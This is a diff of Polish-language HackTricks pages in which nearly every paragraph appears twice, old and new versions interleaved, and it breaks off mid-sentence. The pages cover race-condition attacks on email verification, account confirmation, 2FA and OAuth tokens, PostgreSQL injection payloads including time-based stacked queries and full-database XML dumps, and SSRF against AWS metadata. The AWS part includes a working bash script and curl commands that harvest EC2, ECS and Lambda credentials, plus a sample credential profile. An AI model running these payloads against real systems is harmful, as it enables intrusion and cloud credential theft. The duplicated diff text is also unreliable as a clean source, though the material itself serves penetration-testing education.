Idea polega na **zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny**, aby dowiedzieć się, czy platforma weryfikuje nowo zmieniony.
### Zmiana adresu e-mail na 2 adresy oparte na plikach cookie
### Zmień e-mail na 2 adresy e-mail oparte na plikach cookie
Według [**tego badania**](https://portswigger.net/research/smashing-the-state-machine) Gitlab był podatny na przejęcie w ten sposób, ponieważ mógł **wysłać** **token weryfikacyjny e-maila jednego adresu e-mailowego na inny adres e-mailowy**.
Zgodnie z [**tą analizą**](https://portswigger.net/research/smashing-the-state-machine) Gitlab był podatny na przejęcie w ten sposób, ponieważ mógł **wysłać token weryfikacyjny e-maila z jednego adresu e-mail na drugi**.
**Sprawdź ten [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint), aby to wypróbować.**
**Sprawdź to** [**Laboratorium PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **aby to wypróbować.**
### Ukryte stany bazy danych / Ominięcie potwierdzenia
Jeśli do **dodania informacji** do **bazy danych** używane są **2 różne zapisy**, istnieje mały okres czasu, w którym **tylko pierwsze dane zostały zapisane** w bazie danych. Na przykład, podczas tworzenia użytkownika **nazwa użytkownika** i **hasło** mogą zostać **zapisane**, a następnie zapisywany jest **token** do potwierdzenia nowo utworzonego konta. Oznacza to, że przez krótki czas **token do potwierdzenia konta jest pusty**.
Jeśli **używane są 2 różne zapisy** do **dodania informacji** do **bazy danych**, istnieje krótki okres czasu, w którym **tylko pierwsze dane zostały zapisane** w bazie danych. Na przykład podczas tworzenia użytkownika **nazwa użytkownika** i **hasło** mogą być **zapisane**, a następnie **token** do potwierdzenia nowo utworzonego konta jest zapisywany. Oznacza to, że przez krótki czas **token do potwierdzenia konta jest pusty**.
Dlatego **rejestrując konto i wysyłając kilka żądań z pustym tokenem** (`token=` lub `token[]=` lub inna wariacja), aby natychmiast potwierdzić konto, można potwierdzić konto, którego e-mailem nie kontrolujesz.
Dlatego **zarejestrowanie konta i wysłanie kilku żądań z pustym tokenem** (`token=` lub `token[]=` lub inna wariacja) w celu natychmiastowego potwierdzenia konta może pozwolić na **potwierdzenie konta**, którego nie kontrolujesz.
**Sprawdź ten [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction), aby to wypróbować.**
**Sprawdź to** [**Laboratorium PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **aby to wypróbować.**
### Ominięcie 2FA
Poniższy pseudokod jest podatny na wyścigówkę, ponieważ przez bardzo krótki czas **2FA nie jest wymagane**, podczas gdy tworzona jest sesja:
Poniższy pseudokod jest podatny na warunek wyścigowy, ponieważ przez bardzo krótki czas **2FA nie jest wymagane**, podczas gdy sesja jest tworzona:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -269,22 +244,22 @@ session['enforce_mfa'] = True
```
### Wieczysta trwałość OAuth2
Istnieje kilka [**dostawców OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Usługi te umożliwiają tworzenie aplikacji i uwierzytelnianie użytkowników zarejestrowanych w dostawcy. Aby to zrobić, **klient** musi **udzielić pozwolenia Twojej aplikacji** na dostęp do niektórych danych wewnątrz dostawcy OAuth.\
Więc do tej pory to tylko zwykłe logowanie za pomocą Google/LinkedIn/GitHub... gdzie pojawia się strona informująca: "_Aplikacja \<InsertCoolName> chce uzyskać dostęp do Twoich informacji, czy chcesz jej to zezwolić?_"
Istnieje kilka [**dostawców OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Te usługi pozwolą Ci utworzyć aplikację i uwierzytelnić użytkowników zarejestrowanych przez dostawcę. Aby to zrobić, **klient** będzie musiał **zezwolić Twojej aplikacji** na dostęp do niektórych ich danych wewnątrz **dostawcy OAuth**.\
Więc, do tej pory to tylko standardowe logowanie za pomocą google/linkedin/github... gdzie pojawia się strona informująca: "_Aplikacja \<InsertCoolName> chce uzyskać dostęp do Twoich informacji, czy chcesz jej na to zezwolić?_"
#### Wyścig warunkowy w `authorization_code`
#### Wyścig warunków w `authorization_code`
**Problem** pojawia się, gdy **zaakceptujesz** i automatycznie zostanie wysłany **`authorization_code`** do złośliwej aplikacji. Następnie ta aplikacja wykorzystuje wyścig warunkowy w dostawcy usługi OAuth, aby wygenerować więcej niż jedno AT/RT (_Authentication Token/Refresh Token_) na podstawie **`authorization_code`** dla Twojego konta. W zasadzie wykorzysta fakt, że zezwoliłeś aplikacji na dostęp do swoich danych, aby **utworzyć kilka kont**. Jeśli przestaniesz zezwalać aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe będą wciąż ważne.
**Problem** pojawia się, gdy **zaakceptujesz** i automatycznie wysyłasz **`authorization_code`** do złośliwej aplikacji. Następnie ta **aplikacja wykorzystuje Wyścig Warunków w dostawcy usługi OAuth, aby wygenerować więcej niż jedną AT/RT** (_Authentication Token/Refresh Token_) z **`authorization_code`** dla Twojego konta. W skrócie, wykorzysta fakt, że zezwoliłeś aplikacji na dostęp do swoich danych, aby **utworzyć kilka kont**. Wtedy, jeśli **zatrzymasz zezwolenie dla aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe będą wciąż ważne**.
#### Wyścig warunkowy w `Refresh Token`
#### Wyścig warunków w `Refresh Token`
Po uzyskaniu **ważnego RT** możesz spróbować go wykorzystać do wygenerowania kilku AT/RT, nawet jeśli użytkownik anuluje uprawnienia dla złośliwej aplikacji do dostępu do swoich danych, **kilka RT wciąż będzie ważnych**.
Gdy już **uzyskasz ważny RT**, możesz spróbować **wykorzystać go do wygenerowania kilku AT/RT** i **nawet jeśli użytkownik anuluje uprawnienia** dla złośliwej aplikacji do dostępu do jego danych, **kilka RT nadal będzie ważnych**.
## **RC w WebSockets**
## **Wyścig warunków w WebSockets**
W [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) znajdziesz PoC w języku Java, który wysyła wiadomości websocket w **trybie równoległym**, aby wykorzystać **wyścigi warunkowe również w WebSockets**.
W [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) znajdziesz PoC w Javie do wysyłania wiadomości websocket **równolegle**, aby wykorzystać **Wyścigi Warunków także w WebSockets**.
## Odwołania
## Referencje
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@ -298,18 +273,18 @@ W [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -14,9 +14,9 @@ Inne sposoby wsparcia HackTricks:
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania rzeczy - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego_).
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego do zhakowania - **zatrudniamy!** (_wymagany biegły język polski w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -30,7 +30,7 @@ Moduł **PostgreSQL `dblink`** oferuje możliwości łączenia się z innymi ins
### **Przykład wycieku danych za pomocą dblink i dużych obiektów**
Możesz [**przeczytać ten przykład**](dblink-lo\_import-data-exfiltration.md), aby zobaczyć przykład CTF **jak załadować dane do dużych obiektów, a następnie wyciec zawartości dużych obiektów w nazwie użytkownika** funkcji `dblink_connect`.
Możesz [**przeczytać ten przykład**](dblink-lo\_import-data-exfiltration.md), aby zobaczyć przykład CTF **jak załadować dane do dużych obiektów, a następnie wyciec zawartość dużych obiektów wewnątrz nazwy użytkownika** funkcji `dblink_connect`.
## Ataki na PostgreSQL: Odczyt/zapis, RCE, eskalacja uprawnień
@ -42,19 +42,19 @@ Sprawdź, jak skompromitować hosta i eskalować uprawnienia z PostgreSQL w:
## Ominięcie WAF
### Funkcje łańcuchów PostgreSQL
### Funkcje łańcuchowe PostgreSQL
Manipulowanie łańcuchami może pomóc Ci **ominąć WAFy lub inne ograniczenia**.\
[W tej stronie](https://www.postgresqltutorial.com/postgresql-string-functions/) **znajdziesz kilka przydatnych funkcji łańcuchów.**
[W tej stronie](https://www.postgresqltutorial.com/postgresql-string-functions/) **znajdziesz kilka przydatnych funkcji łańcuchowych.**
### Zapytania zagnieżdżone
Pamiętaj, że PostgreSQL obsługuje zagnieżdżone zapytania, ale kilka aplikacji wyświetli błąd, jeśli oczekuje się zwrócenia 1 odpowiedzi, a zwrócone zostaną 2. Mimo to nadal można nadużywać zapytań zagnieżdżonych za pomocą wstrzyknięcia czasu:
Pamiętaj, że PostgreSQL obsługuje zapytania zagnieżdżone, ale kilka aplikacji wyświetli błąd, jeśli zostaną zwrócone 2 odpowiedzi, gdy oczekiwana jest tylko 1. Niemniej jednak, nadal możesz nadużywać zapytań zagnieżdżonych za pomocą wstrzyknięcia czasu:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```
### Triki XML
### Triki związane z XML
**query\_to\_xml**
@ -64,7 +64,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database\_to\_xml**
Ta funkcja wypisze całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, możesz spowodować DoS lub nawet swojego własnego klienta):
Ta funkcja wypisze całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, możesz spowodować atak typu DoS lub nawet wobec swojego własnego klienta):
```sql
SELECT database_to_xml(true,true,'');
```
@ -94,9 +94,9 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego_).
Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -106,7 +106,7 @@ Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych do z
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, przeprowadza proaktywne skanowania zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -24,19 +24,19 @@ Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi po
## AWS
### Wykorzystywanie SSRF w środowisku AWS EC2
### Nadużywanie SSRF w środowisku AWS EC2
**Metadane** można uzyskać z dowolnej maszyny EC2 i zawierają interesujące informacje na jej temat. Można uzyskać do nich dostęp pod adresem URL: `http://169.254.169.254` ([informacje na temat metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Metadane** można uzyskać z dowolnej maszyny EC2 i oferują interesujące informacje na ich temat. Są one dostępne pod adresem URL: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** umożliwia **dostęp** do punktu końcowego za pomocą żądań **GET** (więc dowolne **SSRF może go wykorzystać**). W przypadku **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token** wysyłając żądanie **PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokenu do uzyskania dostępu do metadanych za pomocą innego nagłówka HTTP (więc jest to **trudniejsze do wykorzystania** przy użyciu SSRF).
Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** pozwala na **dostęp** do punktu końcowego za pomocą żądań **GET** (więc każde **SSRF może to wykorzystać**). Dla **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token** wysyłając żądanie **PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokenu do uzyskania dostępu do metadanych za pomocą innego nagłówka HTTP (więc jest to **trudniejsze do wykorzystania** z SSRF).
{% hint style="danger" %}
Należy zauważyć, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odpowiedź na żądanie PUT** będzie miała **limit skoku równy 1**, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
Zauważ, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odpowiedź na żądanie PUT** będzie miała **limit skoku równy 1**, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
Ponadto, **IMDSv2** również **blokuje żądania pobrania tokenu, które zawierają nagłówek `X-Forwarded-For`**. Ma to na celu zapobieżenie możliwości dostępu do niego przez źle skonfigurowane serwery proxy odwracające.
Co więcej, **IMDSv2** zablokuje również żądania pobrania tokenu, które zawierają nagłówek `X-Forwarded-For`. Ma to na celu zapobieżenie możliwości dostępu do niego przez źle skonfigurowane serwery proxy odwrócone.
{% endhint %}
Informacje na temat [punktów końcowych metadanych znajdują się w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskane są pewne interesujące informacje z metadanych:
Można znaleźć informacje o [punktach końcowych metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskano pewne interesujące informacje z metadanych:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -96,40 +96,40 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
Jako przykład publicznie dostępnych uwierzytelnień IAM można odwiedzić: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Jako przykład ujawnionych **publicznie dostępnych poświadczeń IAM** możesz odwiedzić: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Możesz również sprawdzić publiczne uwierzytelnienia **EC2** pod adresem: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Możesz również sprawdzić publiczne **poświadczenia bezpieczeństwa EC2** pod adresem: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Następnie możesz użyć tych uwierzytelnień z AWS CLI. Pozwoli to na wykonanie dowolnej czynności, na którą rola ma uprawnienia.
Następnie możesz użyć **tych poświadczeń za pomocą AWS CLI**. Pozwoli to ci wykonać **dowolne czynności, do których ma uprawnienia ta rola**.
Aby skorzystać z nowych uwierzytelnień, musisz utworzyć nowy profil AWS, podobny do tego:
Aby skorzystać z nowych poświadczeń, będziesz musiał utworzyć nowy profil AWS, podobny do tego:
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Zauważ **aws\_session\_token**, jest to niezbędne dla profilu, aby działał.
Zauważ **aws\_session\_token**, jest to niezbędne do działania profilu.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) można użyć z odkrytymi danymi uwierzytelniającymi, aby dowiedzieć się o swoich uprawnieniach i spróbować eskalacji uprawnień.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) można użyć z odkrytymi danymi uwierzytelniającymi, aby dowiedzieć się o Twoich uprawnieniach i spróbować eskalować uprawnienia
### SSRF w poświadczeniach AWS ECS (usługa kontenerowa)
**ECS** to logiczna grupa instancji EC2, na których można uruchamiać aplikację bez konieczności skalowania własnej infrastruktury zarządzania klastrami, ponieważ ECS zarządza tym dla Ciebie. Jeśli uda Ci się skompromitować usługę działającą w **ECS**, **punkty końcowe metadanych się zmieniają**.
**ECS**, to logiczna grupa instancji EC2, na których można uruchomić aplikację, nie musząc skalować własnej infrastruktury zarządzania klastrami, ponieważ ECS zarządza tym dla Ciebie. Jeśli uda Ci się skompromitować usługę działającą w **ECS**, **punkty końcowe metadanych się zmieniają**.
Jeśli uzyskasz dostęp do _**http://169.254.170.2/v2/credentials/\<GUID>**_, znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz **znaleźć \<GUID>**. Aby znaleźć \<GUID>, musisz odczytać zmienną **environ** o nazwie **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** wewnątrz maszyny.\
Możesz to odczytać, wykorzystując **Path Traversal** do `file:///proc/self/environ`\
Wspomniany adres http powinien dostarczyć Ci **AccessKey, SecretKey i token**.
Jeśli uzyskasz dostęp do _**http://169.254.170.2/v2/credentials/\<GUID>**_ znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz **znaleźć \<GUID>**. Aby znaleźć \<GUID>, musisz odczytać zmienną **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** wewnątrz maszyny.\
Możesz to odczytać wykorzystując **Path Traversal** do `file:///proc/self/environ`\
Wspomniany adres http powinien dać Ci **AccessKey, SecretKey i token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
Zauważ, że w **niektórych przypadkach** będziesz mógł uzyskać dostęp do **instancji metadanych EC2** z kontenera (sprawdź ograniczenia dotyczące IMDSv2 TTL, o których wspomniano wcześniej). W tych scenariuszach z kontenera możesz uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
Należy pamiętać, że w **niektórych przypadkach** będzie można uzyskać dostęp do **instancji metadanych EC2** z kontenera (sprawdź ograniczenia czasowe IMDSv2 wspomniane wcześniej). W tych scenariuszach z kontenera można uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
{% endhint %}
### SSRF dla AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
W tym przypadku **poświadczenia są przechowywane w zmiennych środowiskowych**. Aby uzyskać do nich dostęp, musisz uzyskać dostęp do czegoś takiego jak **`file:///proc/self/environ`**.
W tym przypadku **poświadczenia są przechowywane w zmiennych środowiskowych**. Aby uzyskać do nich dostęp, należy uzyskać dostęp do czegoś w stylu **`file:///proc/self/environ`**.
**Nazwy** interesujących zmiennych środowiskowych to:
@ -137,20 +137,20 @@ W tym przypadku **poświadczenia są przechowywane w zmiennych środowiskowych**
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
Ponadto, oprócz poświadczeń IAM, funkcje Lambda mają również **dane zdarzenia, które są przekazywane do funkcji podczas jej uruchamiania**. Te dane są udostępniane funkcji za pośrednictwem [interfejsu uruchomieniowego](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogą zawierać **wrażliwe informacje** (np. wewnątrz **stageVariables**). W przeciwieństwie do poświadczeń IAM, te dane są dostępne za pomocą standardowego SSRF pod adresem **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
Ponadto, oprócz poświadczeń IAM, funkcje Lambda mają również **dane zdarzenia przekazywane do funkcji podczas jej uruchamiania**. Te dane są udostępniane funkcji za pośrednictwem [interfejsu uruchomieniowego](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogą zawierać **wrażliwe informacje** (np. wewnątrz **stageVariables**). W przeciwieństwie do poświadczeń IAM, te dane są dostępne za pomocą standardowego SSRF pod adresem **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
Zauważ, że **poświadczenia lambdy** znajdują się w **zmiennych środowiskowych**. Jeśli ślad stosu kodu lambdy drukuje zmienne środowiskowe, możliwe jest **wyciekanie ich poprzez wywołanie błędu** w aplikacji.
